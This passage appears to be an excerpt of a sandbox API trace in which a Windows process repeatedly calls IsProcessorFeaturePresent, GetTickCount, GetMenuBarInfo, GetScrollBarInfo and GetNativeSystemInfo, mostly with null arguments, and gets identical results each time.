(ProcessorFeature=0x0) returned 0 [0053.718] GetTickCount () returned 0x1c32f [0053.718] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.718] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.718] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.718] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.718] GetTickCount () returned 0x1c32f [0053.718] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.718] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.718] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.718] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.718] GetTickCount () returned 0x1c32f [0053.718] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.718] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.718] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.718] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.718] GetTickCount () returned 0x1c32f [0053.718] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.718] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.718] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.718] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.718] GetTickCount () returned 0x1c32f [0053.718] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.719] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.719] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.719] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.719] GetTickCount () returned 0x1c32f [0053.719] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.719] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.719] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.719] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.719] GetTickCount () returned 0x1c32f [0053.719] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.719] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.719] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.719] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.719] GetTickCount () returned 0x1c32f [0053.719] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.719] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.719] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.719] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.719] GetTickCount () returned 0x1c32f [0053.719] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.719] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.719] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.719] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.719] GetTickCount () returned 0x1c32f [0053.719] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.720] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.720] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.720] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.720] GetTickCount () returned 0x1c32f [0053.720] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.720] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.720] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.720] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.720] GetTickCount () returned 0x1c32f [0053.720] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.720] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.720] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.720] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.720] GetTickCount () returned 0x1c32f [0053.720] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.720] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.720] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.720] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.720] GetTickCount () returned 0x1c32f [0053.720] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.720] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.720] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.720] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.720] GetTickCount () returned 0x1c32f [0053.720] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.721] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.721] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.721] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.721] GetTickCount () returned 0x1c32f [0053.721] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.721] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.721] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.721] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.721] GetTickCount () returned 0x1c32f [0053.721] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.721] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.721] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.721] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.721] GetTickCount () returned 0x1c32f [0053.721] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.721] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.721] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.721] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.721] GetTickCount () returned 0x1c32f [0053.721] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.721] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.721] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.721] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.721] GetTickCount () returned 0x1c32f [0053.721] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.721] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.722] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.722] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.722] GetTickCount () returned 0x1c32f [0053.722] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.722] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.722] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.722] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.722] GetTickCount () returned 0x1c32f [0053.722] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.722] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.722] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.722] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.722] GetTickCount () returned 0x1c32f [0053.722] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.722] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.722] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.722] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.722] GetTickCount () returned 0x1c32f [0053.722] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.722] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.722] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.722] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.722] GetTickCount () returned 0x1c32f [0053.722] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.722] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.723] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.723] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.723] GetTickCount () returned 0x1c32f [0053.723] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.723] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.723] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.723] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.723] GetTickCount () returned 0x1c32f [0053.723] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.723] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.723] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.723] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.723] GetTickCount () returned 0x1c32f [0053.723] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.723] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.723] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.723] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.723] GetTickCount () returned 0x1c32f [0053.723] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.723] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.723] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.723] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.723] GetTickCount () returned 0x1c32f [0053.723] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.723] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.724] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.724] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.724] GetTickCount () returned 0x1c32f [0053.724] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.724] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.724] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.724] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.724] GetTickCount () returned 0x1c32f [0053.724] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.724] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.724] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.724] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.724] GetTickCount () returned 0x1c32f [0053.724] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.724] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.724] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.724] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.724] GetTickCount () returned 0x1c32f [0053.724] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.724] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.724] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.724] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.724] GetTickCount () returned 0x1c32f [0053.724] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.724] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.725] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.725] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.725] GetTickCount () returned 0x1c32f [0053.725] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.725] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.725] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.725] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 